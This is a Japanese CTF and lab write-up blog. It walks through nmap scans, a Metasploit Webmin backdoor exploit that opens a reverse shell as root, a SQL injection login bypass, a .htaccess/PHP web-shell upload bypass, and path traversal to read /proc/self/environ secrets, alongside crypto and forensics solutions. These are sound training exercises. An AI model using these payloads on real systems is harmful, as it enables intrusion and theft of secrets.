443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 5.84 seconds

22,80,443番ポートが開いているようだ。
80ポートにcurlしてみると最初のサイトからアクセスした内容が返ってきた。nginxを使っていることが分かる。(第4章: NginxをインストールしてWebサーバーを動かしてみる)調べていると、この画面はnginxのデフォルトのページのようだ。
ここで、ふと。デフォルトが表示しているところから、設定に脆弱性があると考えた。そこで、ファイルトラバーサルすることができるかをやってみる。
しかし、http://<webサーバIPアドレス>/../../../root/root.txtとして、実行した場合、http://<webサーバIPアドレス>/root/root.txtとなり、../が利用できなさそう。

しかし、nginxのバージョンが分かった。デフォルト設定のままの脆弱性かnginx/1.18.0 というバージョンの脆弱性を攻めていく方針で行けばいいのかな?
ここで問題を読んでいると、「ペネトレーションテストを行って」とある。そこで、ペネトレーションテストについて、調べてみた。(ペネトレーションテスト入門)有益なサイトだ。
ここで、nmapにオプションがあり、表示できるものが変わるようだ。そりゃ、オプションはあるわな。

└─# nmap -T4 -A -v -p- -Pn 10.0.102.231
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-17 07:30 UTC
・・・
Scanning 10.0.102.231 [65535 ports]
Discovered open port 443/tcp on 10.0.102.231
Discovered open port 80/tcp on 10.0.102.231
Discovered open port 22/tcp on 10.0.102.231
Discovered open port 10000/tcp on 10.0.102.231
・・・

もう一度オプションをつけて、nmapしてみると10000番ポートが開いている。(ポート番号(10000-49151))によるとndmpというサービスによくあてられているポート番号のようだ。

知識(ndmp)
ndmp (Backup Exec の NDMP オプションでファイラー (NAS) のバックアップを実行する方法)を参考にした。データを管理するプロトコルのようだ。

怪しい。ここのポートを調べる。 └─# curl 10.0.102.231:10000を実行すると、データが送られてきた。見にくいので、URL上で見てみると

ログイン画面が出てきた。開発者ツールで見てみるとtestingとredirectいうクッキーがある。これはcookieで何かできるのか?
さっきのサイトでnmap脆弱性をスキャンすることが出来るようなのでしてみる。

└─# nmap -p 10000 --script vuln 10.0.102.231
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-17 08:10 UTC
Nmap scan report for 10.0.102.231
Host is up (0.0050s latency).

PORT      STATE SERVICE
10000/tcp open  snet-sensor-mgmt

10000ポートではsnet-sensor-mgmtというサービスが動いている。これは(Ubuntu をブラウザから管理する Webmin)で調べると、web上でubuntuにアクセスするサービスのようだ。

これ以降、試行錯誤しているが、いい感じには進まない。
sshの公開鍵での認証よりはwebminのパスワード認証の方が突破の可能性はありそう。しかし、

  • CVEを見つけても攻撃の仕方が分からない。
  • SQL文をたたいても無効な文字だと言われる。
  • よくあるパスワードやユーザー名でもログインできない。

dirbgobusterを試したが、うまくいかなかった。   また、色々調べていると、(Kali LinuxのMetasploitで脆弱性を突いたペネトレーションテスト)というサイトにたどり着いた。

└─# nmap -sV -O -p- 10.0.102.68
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-18 03:15 UTC
Nmap scan report for 10.0.102.68
Host is up (0.011s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    nginx/1.18.0 (Ubuntu)
443/tcp   open  https?
10000/tcp open  http    MiniServ 1.920 (Webmin httpd)

nmapを再度するとwebminのバージョンもわかった。やっぱり、オプション大切。metaspolitってツールを使うと脆弱性診断的な、ペネトレーションテストが行えるようだ。その前に、CVEやexploit-DBでどのように攻撃できるか探ろう。MiniServ 1.920で検索すると(Webmin 1.920 - Unauthenticated Remote Code Execution)というような、いかにも攻撃できそう脆弱性が見つかっているようだ。でも、ここからどうすればいいかわからない。

落ち着いて整理する。外部に開かれているのは、

この4つである。この4つの中での脆弱性を考えていく。dirbのリスト攻撃は特に引っかからなかった。(Nginx)のファイルトラバーサルも効果なし。
では、一番何かできそうなminiservから調査する。

webmin 1.920で調べると3つのexploitがあるようだ。
(Metasploitの基本的な使い方を解説【Kali Linux】)また、metasploitの使い方を調べてみた。さて、virtual boxでkali linuxを立てて、metasploitを実行してみた。

msf6 > search webmin

Matching Modules
================

   #   Name                                           Disclosure Date  Rank       Check  Description
   -   ----                                           ---------------  ----       -----  -----------
   0   exploit/unix/webapp/webmin_show_cgi_exec       2012-09-06       excellent  Yes    Webmin /file/show.cgi Remote Command Execution
   1   auxiliary/admin/webmin/file_disclosure         2006-06-30       normal     No     Webmin File Disclosure
   2   exploit/linux/http/webmin_file_manager_rce     2022-02-26       excellent  Yes    Webmin File Manager RCE
   3   exploit/linux/http/webmin_package_updates_rce  2022-07-26       excellent  Yes    Webmin Package Updates RCE
・・・
   10  exploit/linux/http/webmin_backdoor             2019-08-10       excellent  Yes    Webmin password_change.cgi Backdoor
   11    \_ target: Automatic (Unix In-Memory)        .                .          .      .
   12    \_ target: Automatic (Linux Dropper)         .                .          .      .

12もの攻撃手法があるようだ。 どれを実行したらよいのだろうか。(Webmin - Exploit 2)が今回のに似ていそう。これをまずは参考にしていく。やってみたが、不発っぽい。

12通りやっていっても、なんかうまくいかない。使っていて分かったのが、入力に絶対必要な変数が存在している。そこで、その変数に今までの調べで知りえないものが含まれているもの(例:password,UserName)や、webminのバージョンが合わないものも違いそう。
そうすると、searchした中で、10番が求められているものがIPアドレスとポート番号だけなので、実行できる可能性が高いような。でも、10番を実行してもうまくいかない。なんでーーー。

ここで、一回nginxについて調べてみる。

nginx 1.18.0にはないとexploitDBは言っている。これではないのか。
いろいろ試行錯誤してみましたが、metasploitで10番がうまくいきそうな感じが一番する(でも、うまくいかない)。

[*] Started reverse TCP handler on 10.0.2.15:4445 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Configuring Automatic (Linux Dropper) target
[*] Sending linux/x64/meterpreter/reverse_tcp command stager
[*] Command Stager progress - 100.00% done (823/823 bytes)
[*] Exploit completed, but no session was created.

最後のコネクションが確立できないのはなんでだろう。このような返答はなにがいけないのだろうか?
webで調べていましたが、([Solve] Exploit completed but no session was created | Metasploit Framework Error Fix in Hindi)一番の気づきをくれたのはこの動画です。私はvirtualboxにkali linuxを立てて、metasploitを利用していました。仮想環境のせいで、ネットワーク関係がよろしくなかったようだ。ネットワークをNATからブリッジ接続にして仮想環境とwebサーバ自体とを通信できる状態にして行ってみた。

msf6 exploit(linux/http/webmin_backdoor) > run

[*] Started reverse TCP handler on 192.168.100.182:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (192.168.100.182:4444 -> 10.0.102.40:42306) at 2024-09-18 06:18:41 -0400

確立することに成功。感動。/root/root.txtを見つけに行く。

pwd
/usr/share/webmin/acl
cd ../
pwd
/usr/share/webmin/acl

変わらない。rootディレクトリまで行って、catすることを目標にしていたけど、ここから動けないようだ。
一応lsしてみましょうか。たくさん出た。なにかありそうなものをcatしてみる。

ls
CHANGELOG
backup_config.pl
edit_pass.cgi
save_pass.cgi
save_user.cgi
useradmin_update.pl

一部抜粋。ここら辺が情報ありそう?いろいろ見たけど、あまり有益な情報なし。
そういえば、攻撃者はよくwhoamiコマンドをたたくということを見たことがある。やってみよう。

whoami         
root

おっと。root権限があるのかい。じゃあ、話は早い。目的のものをcatすればいいじゃないか。cat /root/root.txtを行ったら、flagゲット。終了。

太郎君は写真を撮るのが好きで、自分で作ったサイトで写真を公開しています。 でも、太郎君はセキュリティには少し疎いようです。 サーバの脆弱性を探し、太郎君のサーバをセキュアにするお手伝いをしましょう。1st missionでは、/var/www/flag1.txt の中に書いてあるフラグを答えてください。

まずは、サイトを訪れましょう。
シンプルなデザイン。ペネトレーションテストをしていく。まずはnmap

└─# nmap -sV -O -p- 10.0.102.205
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 05:51 UTC
Nmap scan report for 10.0.102.205
Host is up (0.011s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache/2.4.58 (Ubuntu)
443/tcp open  https?

よくあるポートは開いている。まずは80番を確認していく。

apacheを確認したが、バージョンをexploit dbで確認したがヒットなし。
sshも特になし。ふむ、どうしたものか。
次にポートスキャンで脆弱性を探す。

└─# nmap -p 80 --script vuln 10.0.102.205
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 05:57 UTC
Nmap scan report for 10.0.102.205
Host is up (0.0021s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-cookie-flags:
|   /admin/login.php:
|     PHPSESSID:
|_      httponly flag not set
| http-enum:
|_  /admin/login.php: Possible admin folder
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750

Nmap done: 1 IP address (1 host up) scanned in 522.24 seconds

脆弱性がありそうなところは上のような部分だ。/admin/login.phpというものがあるようだ。

お、ログイン画面に来た。何やら攻撃できそうですね。まずはSQLインジェクションを考えるが、adminなどのユーザー名でSQLインジェクションしても駄目っぽい。 (CTFのWebセキュリティにおけるSQL Injectionまとめ(MySQL/MariaDB, PostgreSQL, SQL Server))を見ながらインジェクションできないかを考える。#を使えたので、mysqlを利用しているのかな?

(Gallery TryHackMe Writeup)ほかのctfを参考にしていたら、admin ' or 1=1 limit 1-- +'というもので実行してみたら、ログインに成功。違いは何だったのだろうか? 後々調べよう。(後日SQLmapという存在を知る。これでやると何かわかるのかな?)
とりあえず、ログインに成功。ここからどうすればいいのだろうか?アップロードを用いて攻撃を考えろということかな。
まず、アップロードできるかをやってみる。
正常にできそう。
.jpgなら/upload/imagesに入れることができた。

しかし、テキストファイルはimagesの中には入らなかった。拡張子によってアップロードされる場所が違うのだろうか?
しかし、もう一度上げるとすでにあるといわれる。どこかのフォルダには入っているようだ。
このアップロードでどんな攻撃ができるのか?よくわからん。
調べているとwebshellというものを使うというものがあった。phpファイルに悪意のあるコードを記述し、実行させるようだ。試しにphpファイルがアップロードできるかやってみた。
許可されていないと出てきた。

(How to Exploit File Upload Vulnerabilities (and How to Fix Them!))調べていると、ファイルアップロードには攻撃手法と防御手法が多く存在している。今回、はじかれたのが、拡張子かマジックナンバーか、はたまた、送信タイプによるものか、そこから特定していかないといけない。しかし、方針は見えたような気がする。
つまり、悪意のあるphpファイルを/uploads/imagesにアップロードして、それを実行させる!
phpファイルの中身は(File upload vulnerabilities)こちらのサイトを参考に

<?php 
echo file_get_contents('/var/www/flag1.txt'); 
?>

でやってみる。

まずは拡張子をバイパスしたい。.php2ではアップロードはできた。しかし、jpgではないので、imagesの中にはない。そうなると、jpgと認識させつつ、phpで送らないといけないということになる。そんなこと可能なのだろうか?

(Red-Knights-CTF/writeups )やそのほかのものにもよく登場する単語があった。burpsuiteというものらしい。新しいツールを使わないとかな。
さて、burpsuiteを使っていく。インストールまでは完了。使い方だが、firefox拡張機能を使うとか、初期設定が難しい印象。(ペネトレーションテストでのBurp Suiteの使用方法)習うより慣れてみる。

お!なんかできてる。(Configuring Burp to work with an external browser)外部のブラウザーも使えるようだ。
読み込みにいちいち時間がかかるからうざいと思っていたけど、fowardを押すまで、編集とかができるのね。便利。ありがとうございます。

画像をアップロード。いろいろ書かれている。これこれ。この感じ。
.phpファイルをアップロードするときの中身。content-typeが当たり前だが、imageみたいなものではない。
Content-Type: image/jpegに編集してからfowardしてみた。しかし、拡張子が許可されていないと出た。やはり、拡張子がフィルターになっているようだ。
次に、先のphpファイルの拡張子をjpgにしてみる。

fileToUpload"; filename="fla.jpg"
Content-Type: image/jpeg

として、送信。アップロードはできた。これで、そのファイルを実行できれば、攻撃できるのかな?拡張子はjpgになってしまっている。そのファイルをGETしても、望んだ結果は帰ってこない。
アップロード先はどこなのだろうか?(【PHP】ファイルのアップロード方法)どこに飛ばすかはもちろん設定できるようだ。(【脆弱性】本当は怖いファイルアップロード攻撃の理解と修正方法(PHP編))実際に、その攻撃手法とその対策はあるようだ。アップロード先を非公開にするのもその一つ。攻撃手法として、アップロード先を決めたりできないのかな。

さて、数日空きましたが、ファイル拡張子をまずはパスするために(File Upload)から、file.php%00.jpgを用いてアップロードしてみる。
アップロードはできた。しかし、パスに訪れても、表示されない。


ここで同じ現象の起きているサイトを見つけた(Web shell upload via extension blacklist bypassをやってみた)。読んでいると.htaccessというものを使っていた。

知識(.htaccess)
.htaccess (.htaccessとは?5つのできることや詳しい設置方法を解説)を参考にした。apacheで使える。webサーバーの管理ができるようだ。

この.htaccessファイルでの攻撃手法は調べているときに知ってはいた。これを利用するのかな?
実際に.htaccessをアップロードできた。この.htaccessの内容は以下のようなものだ。

AddType application/x-httpd-php .jpg

こうするとことで、.jpgphpとして認識できるように設定できるということなのだろう。こうすることで、先のfile.php%00.jpgをphpとして、実行できる。(ファイル名を「file.php%00.jpg」としたが、「file.jpg」でもよさそうだ。) 一つ、burp suitで.jpgファイルを送るときにコンテンツタイプをContent-Type: application/x-httpd-phpにしていないといけないようだ。ここは注意。 つまり、.htaccessContent-Type: application/x-httpd-phpfile.php%00.jpgをアップロードすることで、flagが確認できるようだ。


これでできた。終了。

これは Gallery (1st mission) の続きです。2nd missionでは、 /root/flag2.txt の中に書いてあるフラグを答えてください。


同じようにやってみたが、なにも表示されなかった。先との違いは、/varのファイルか/rootのものかという違いだと思う。これによる違いはどうあるのだろうか?ファイル表示ではなく、コマンドを入力のようにしないといけないのかな?

Web Exploitation

[Easy] Path to Secret

脆弱性を特定し、サーバで用いられているSECRET_KEYの値を解答してください。ヒント: サーバのファイル名はserver.pyです。

というわけで、webサイトへの攻撃である。

最初のアクセスを行うとこんな感じ。開発者ツールを見てもそこまで変なところはない。LoginとRegisterがあるので、アカウントを作ってアクセスしてみる。
downloadができるようになった。でも、どのような攻撃ができるかわかっていない。

ここで、任意のパスのファイルをダウンロードできるのではないのか?と思った。(CTFのWebセキュリティにおけるPath Traversal, LFI/RFI (File Upload, ZipSlip))をもとにファイルトラバーサルを行う。そうすると、ヒントで言われていたserver.pyをダウンロードすることに成功する。

@app.route("/admin")
def admin():
    if session.get("username") != "admin":
        return "You are not admin."

    users = User.query.all()
    return render_template("admin.html", users=users)

pyファイルを調べている。ここんところは気になる。けど、特にいい感じにはならない。調べているとflaskというサービスには脆弱性があるような記事が多い。

app.config["SECRET_KEY"] = os.environ.get("SECRET_KEY")から、configの値を獲得できれば、成功のようだ。flask-unsignをやっているが、あまりいい感じにならない。

大会後、友人に助言をいただき、また、調べると環境変数/proc/[pid]/environというファイルに書き込まれるようだ。また、pidが分かっていなくても、動いているサービスなら/proc/self/environにあるようだ(【Linux入門】/proc/self/environで環境変数を取得する)参照。
server.pyをダウンロードした要領で、このファイルをダウンロードすると、SECRET_KEYを見ることが出来る。なるほど。

Binary Exploitation

[Easy] io tutorial(解けていない)

同じクラスの友人がプログラミングの宿題を教えて欲しいと頼んできた。 作ったプログラムがたまに変な動きをしていて、原因がわからず困っているみたい。「標準入出力を使ったプログラムで、習った通りちゃんと文字数のチェックもしてるからバッファオーバーフローもしないはずなのに!」とのこと。原因を見つけてシェルを取って助けてあげよう!たしか先生は変数の初期化を忘れちゃダメって言ってたような?
コードについて調べたのは以下です。

見たい人は開けて

char *MESSAGES[] = {
    "! ! ! ! welcome ! ! ! !\n",
    "8 8 8 8 welcome 8 8 8 8\n",
    "WELCOME WELCOME WELCOME\n",
};

入力の時の1-3を選ばせるのはこの中からどれを表示するかを選択していると考えられる。

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

よくある初期化。

void win() {
  puts("WIN!!");
  execve("/bin/sh", NULL, NULL);
  exit(0);
}

ここに飛ばせば勝ちのようだ。よくあるpwnといった感じ。

void readn(char *buf, size_t size) {
  for (int i = 0; i < size; i++) {
    read(0, buf + i, 1);
    if (buf[i] == '\n') {
      buf[i] = '\0';
      return;
    }
  }

  // drop trailing '\n'
  getchar();
}

readnはbufと2を受け取る。i=0の時にbufに1バイト読み込み。それをi=1の時にも行う。もし、読み込んだものが\n なら\0にする。getchar();ではユーザーの入力を待つことになる?なんでだ?これは標準入力の\nを読み飛ばす働きがあるようだ。

int readint() {
  // read only 2 chars, so returns -9 to 99 I guess!
  char buf[0x10];
  readn(buf, 2);
  return atoi(buf);
}

bufは10バイトの領域を確保。readnにbufと2を渡す。atoi関数は文字列として認識されている数字を数値(int)に変換する関数である。

void greet() {
  char message[25];

  printf("greeting message? (1 ~ 3) > ");
  int which = readint();
  if (which < 1 || which > 3) {
    printf("invalid!");
    exit(1);
  }

  strncpy(message, MESSAGES[which - 1], strlen(MESSAGES[which - 1]) + 1);
  printf("%s", message);
}

最初のメッセージのやつ。

int main() {
  greet();

  printf("input size > ");
  int size = readint();

  // readint may returns negative number.
  if (size < 0) {
    size = 0;
  }

  // size is 99 at most, but to be safe,
  // the buffer size is set to 0x100 (== 256).
  // it can't be overflow!
  char input[0x100];

  printf("input > ");
  read(0, input, size);
  printf("your input: %s\n", input);

  return 0;
}

greet()でメッセージを選択。そのあと入力サイズを選ぶ。sizeがマイナスの時は0にする。inputには256byteを許すinput[0x100]である。

read関数では、inputのところに読み込んだデータを保存する。sizeは読み込むバイト数である。最初の引数=0ということはユーザーの標準入力を認識する。
readint()を見ていく。

さて、コードは解読したが、どのような穴があるか、わからん。

Malware Analysis

[Easy] Pack(解けていません)

世の中には実行ファイルの動作を変えることなく難読化ができるツールがあるようです。 表層解析で得られる文字列を見てみると......?

表層解析ということなので、まずfileコマンド。

└─# file pack.exe
pack.exe: PE32 executable (console) Intel 80386, for MS Windows, UPX compressed, 3 sections

UPXというもので圧縮されているのかな?解凍してみる。

└─# ./upx -d ../pack.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     20480 <-     12800   62.50%    win32/pe     pack.exe

Unpacked 1 file.

解凍できたっぽい。

└─# file pack.exe
pack.exe: PE32 executable (console) Intel 80386, for MS Windows, 4 sections

実行結果が変わっている。stringsしてみると

retry :
Incorrect
Almost! retry:
retry :
Incorrect
Enter anything key:
Congratulations!
FindResource error
MANIFEST
Flag is :
binary unpacked!
)B(:+

何やらflagに関係することが述べられていそう。一応入力したが、はじかれた。binary unpackedとはバイナリーの解凍を行えということなのだろうか?

└─# hexdump -v -C pack.exe
00000000  4d 5a 90 00 03 00 00 00  04 00 00 00 ff ff 00 00  |MZ..............|  

MZということで、実行ファイルであることは確かそうだけど。もしかして、ここから静的解析に移ったりするのかな?
ということで、静的解析に移ってみる。まずFlag is :binary unpacked!から攻めてみる。

flag is や congra..を出力するところや入力を待つところの関数をリネームしてみた。flagの入力を求めて、それを下の関数で本物のflagと比較していると予想した。

comp関数の中では何かしらの処理をして比較し、あっていればcongra..の文字列を返すと考えている。でも、どのようになっているかよくわからない。

memlabs

waniCTFでやったメモリフォレンジックが楽しかったので、調べたらmemlabsというものがあったので、やってみる。

開閉

MemLabs Lab 0 - Never Too Late Mister

My friend John is an "environmental" activist and a humanitarian. He hated the ideology of Thanos from the Avengers: Infinity War. He sucks at programming. He used too many variables while writing any program. One day, John gave me a memory dump and asked me to find out what he was doing while he took the dump. Can you figure it out for me?
ということで、友人が行っていたことをメモリダンプから発見するというもののようだ。
まずは渡されたファイルが何なのか、友人はどんな環境を使っているのかなどの情報を知りたい。

└─# file Challenge.raw
Challenge.raw: data

fileコマンドではあんまり有益な情報はない。

└─# python3 vol.py -f ../Challenge.raw windows.info.Info
Volatility 3 Framework 2.7.1
Progress:  100.00               PDB scanning finished
Variable        Value

Kernel Base     0x82604000
DTB     0x185000
Symbols file:///home/yukichi/mount/memlabs/volatility3%28memory%29/volatility3/symbols/windows/ntkrpamp.pdb/EDD3760CEE2B45D2A63BF8C26EE11FAF-2.json.xz
Is64Bit False
IsPAE   True
layer_name      0 WindowsIntelPAE
memory_layer    1 FileLayer
KdDebuggerDataBlock     0x8273cb78
NTBuildLab      7601.24260.x86fre.win7sp1_ldr.18
CSDVersion      1
KdVersionBlock  0x8273cb50
Major/Minor     15.7601
MachineType     332
KeNumberProcessors      1
SystemTime      2018-10-23 08:30:51
NtSystemRoot    C:\Windows
NtProductType   NtProductWinNt
NtMajorVersion  6
NtMinorVersion  1
PE MajorOperatingSystemVersion  6
PE MinorOperatingSystemVersion  1
PE Machine      332
PE TimeDateStamp        Sun Sep  9 00:14:23 2018

つまり、ウィンドウズなのかな?volatility2ではimageinfoのようなものがあったが、3にはないので、よくわからい感じはある。次は何を行っていたか、pslistを見たいと思う。

└─# python3 vol.py -f ../Challenge.raw windows.pslist.PsList
Volatility 3 Framework 2.7.1
Progress:  100.00               PDB scanning finished
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime       File output

4       0       System  0x83d09c58      85      483     N/A     False   2018-10-23 08:29:16.000000      N/A     Disabled
260     4       smss.exe        0x8437db18      2       29      N/A     False   2018-10-23 08:29:16.000000      N/A    Disabled
.
.
.
2096    324     cmd.exe 0x851a6610      1       22      1       False   2018-10-23 08:30:18.000000      N/A     Disabled
.
2412    324     DumpIt.exe      0x845a8d20      2       38      1       False   2018-10-23 08:30:48.000000      N/A    Disabled
.

cmd.exeが実行されているのはやはり気になる。DumpIt.exeはメモリダンプをとっている実行であるようだ。
ん、volatility3で実行していましたけど、volatility2の方が解析しやすい?cmd.exe上で何が実行されたかを確認するのが難しい。
確かにvolatility2で実行するとコマンドで実行したものが見れた。

└─# python2 vol.py -f ../Challenge.raw --profile=Win7SP0x86 cmdscan
Volatility Foundation Volatility Framework 2.6.1
.
.
Cmd #0 @ 0x2f43c0: C:\Python27\python.exe C:\Users\hello\Desktop\demon.py.txt
.
.

waniCTF

X見てたら見つけたものをやってみた。

好き嫌いが激しすげていかん。とがるならもっとフォレンジックをとがらせたいと思います。

開閉

crypto

beginners_rsa

Do you know RSA?
ということで、RSAの問題を解いていく。

n = 317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347
e = 65537
enc = 127075137729897107295787718796341877071536678034322988535029776806418266591167534816788125330265

nとeと暗号文が渡された。おや、よく見るとnがpqrsaで定義されている。つまり、因数分解して、それぞれ1引いたものを用いてdを出せばよさそう。factordbに投げてみる。因数分解できた。よって、よくある流れでRSAを解けば終了。

beginners_aes

AES is one of the most important encryption methods in our daily lives.
ということで、やっていく。AES問題をそんなに解いたことがないので、楽しみ。

enc = b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18'
flag_hash = 6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e

というものと実行コードが渡されている。(CBCモードの基礎)を参考にすると、一つ前の暗号文とxorして暗号文を作るようだ。 pythonでの復号をコードに書いて、

from Crypto.Cipher import AES
from os import urandom
import hashlib
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes

enc = b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18'
flag_hash = "6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e"
key2 = b'the_enc_key_is_'
iv2 = b'my_great_iv_is_'

def decrypt(key, iv, ct):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    de = cipher.decrypt(ct)
    de = unpad(de,16)
    return de

flag = 0
while(flag ==0):
  key = key2 + urandom(1)
  iv = iv2 + urandom(1)
  try:
    dec = decrypt(key,iv,enc)
    if (hashlib.sha256(dec).hexdigest() == flag_hash):
      print(dec)
      flag = 1
  except:
    pass

を行うとフラグゲット。

replacement

No one can read my diary!
ということで、2つのファイルを渡された。 一つはリスト型の数値の羅列。もう一つはその羅列の作られ方。

enc = []
for char in cal:
    x = ord(char)
    x = hashlib.md5(str(x).encode()).hexdigest()
    enc.append(int(x, 16))

である。総当たりするのが直感的に思いつく。

strings ="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789! .{}"
cal = list(strings)
ans =""
for day in diary:
  for char in cal:
      x = ord(char)
      x = hashlib.md5(str(x).encode()).hexdigest()
      if (day == int(x, 16)):
        ans = ans + char
print(ans)

与えられたリストをdiaryという変数に入れて実行するとフラグゲット。終了。

Forensics

tiny_usb

USBが狭いWhat a small usb!
windowsディフェンダーに引っかかるのが面倒。isoファイルが与えられている。まずは初手かな。fileコマンドで様子見る。

└─# file chal_tiny_usb.iso
chal_tiny_usb.iso: ISO 9660 CD-ROM filesystem data 'CHAL_TINY_USB'

一応、ファイルシステムなので、解析できるのかな?

└─# strings chal_tiny_usb.iso
CD001
                                CHAL_TINY_USB
UNDEFINED


                        IMGBURN V2.5.8.0 - THE ULTIMATE IMAGE BURNER!

                       2024052820322500$2024052820322500$0000000000000000
0000000000000000
ImgBurn v2.5.8.0
CD001
FLAG.PNG;1
IHDR
        pHYs
tEXtSoftware
Celsys Studio Tool
dIDATx
OL\G

pngとあるので、何かしらの画像ファイルがあるのだろうか?hexdumpしてみると下に

0012a800  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|

pngファイルらしいものがある。調べていると(Linux ISOからファイルの抽出)というものがあった。マウントせずに抽出したいところ。7zを使って抽出できるようだ。└─# 7z x chal_tiny_usb.isoを行ったらpngファイルとflagゲット。

codebreaker

I, the codebreaker, have broken the QR code! ということで、画像にばってんが付いたQRコードpngが渡された。確かにこれでは読めないか。それらしく修正していけば読み込めるのかと思い、位置検知のところだけでもそれっぽくした。

読み込めた。正攻法ではないけどできた。終了。

I_wanna_be_a_streamer

母ちゃんごめん、俺配信者として生きていくよ。 たまには配信に遊び来てな。 (動画のエンコーディングにはH.264が使われています。)
ということで、pcapファイルを渡された。懐かしい。動画の情報についてなのかな?
UDP通信で行われているのはわかるが、dataのところにはほとんどない。
192.168.0.100と192.168.0.105が多くのパケットをやり取りしていることが分かる。実際にやり取りを見ても、二者間の通信がほとんどである。何かしらのpaylodをやり取りしている。 (GStreamer で Wireshark の RTP パケットからビデオを再生する方法)というものがあり、実行してみたが、いい結果は得られなかった。

C:\gstreamer\1.0\msvc_x86_64\bin\gst-launch-1.0 -m -v filesrc location=./file.pcap ! pcapparse src-port=22000 dst-port=59974 ! application/x-rtp,media=video,clock-rate=90000,payload=126application/x-rtp,media=video,clock-rate=90000,payload=126 ! rtpjitterbuffer ! rtph264depay ! avdec_h264 ! videoscale !  videoconvert ! x264enc ! mp4mux ! filesink location=./output.mp4

とすると何かしらは抽出できたが、見れない。payloadはpayloadtypeのことかもしれないと思い、96に変更してやってみる。

C:\gstreamer\1.0\msvc_x86_64\bin\gst-launch-1.0 -m -v filesrc location=./file.pcap ! pcapparse src-port=22000 dst-port=59974 ! application/x-rtp,media=video,clock-rate=90000,payload=96application/x-rtp,media=video,clock-rate=90000,payload=96 ! rtpjitterbuffer ! rtph264depay ! avdec_h264 ! videoscale !  videoconvert ! x264enc ! mp4mux ! filesink location=./output.mp4

できた。うれしいいいいいいいいいいいい。

Surveillance_of_sus

悪意ある人物が操作しているのか、あるPCが不審な動きをしています。

そのPCから何かのキャッシュファイルを取り出すことに成功したらしいので、調べてみてください!
ということらしい。

└─# file Cache_chal.bin
Cache_chal.bin: data

ただのデータが渡され散る。キャッシュファイルだとは思うので、何かしらで解析するんだよね。そもそもキャッシュファイルとは?

知識(キャッシュファイル)
キャッシュファイル (キャッシュファイル)

stringsコマンドをしてみる。

└─# strings Cache_chal.bin
RDP8bmp
i2\@
kaSDr@
:kQ@
{b`R

(Magic number)を参考にすると、RDP Bitmap Cacheファイルらしい。

知識(RDP Bitmap Cache)
RDP Bitmap Cache (RDPビットマップキャッシュについて)を参考にする。RDPにおいて、画面情報を通信するときのキャッシュのようだ。

上記サイトを参考に以下のコードを実行する。

└─# python3 ./bmc-tools.py -s "Cache_chal.bin" -d ./output/ -b
[+++] Processing a single file: 'Cache_chal.bin'.
[===] 650 tiles successfully extracted in the end.
[===] Successfully exported 650 files.
[===] Successfully exported collage file.

抽出できた。これをRdpCacheStitcherを用いてつなぎ合わせれば、flagゲット。終了。

mem_search(解けていません)

知らないファイルがあったので開いてみると変な動作をしたので、メモリダンプを取りました!

攻撃はどうやって行われたのでしょう?

メモリダンプは大きいので以下のURLで配布します (解凍すると2GBになります)

WaniCTF開催後は非公開になる可能性があります。

https://drive.google.com/file/d/1sxnYz-bp-E9Bj9usN8lRoL4OE8AxrCRu/view?usp=sharing

※ 注意: ファイル内にFLAGが2つあります。FLAG{Hで始まるFLAGは今回の答えではありません。FLAG{Dで始まるFLAGを提出してください。
ということで、メモリダンプのお話のようだ。(CTFのフォレンジックにおけるメモリフォレンジックまとめ [Volatility 3, Volatility 2])、(Volatility3を早速使ってみた[追記])を参考に行う。

└─# file chal_mem_search.DUMP
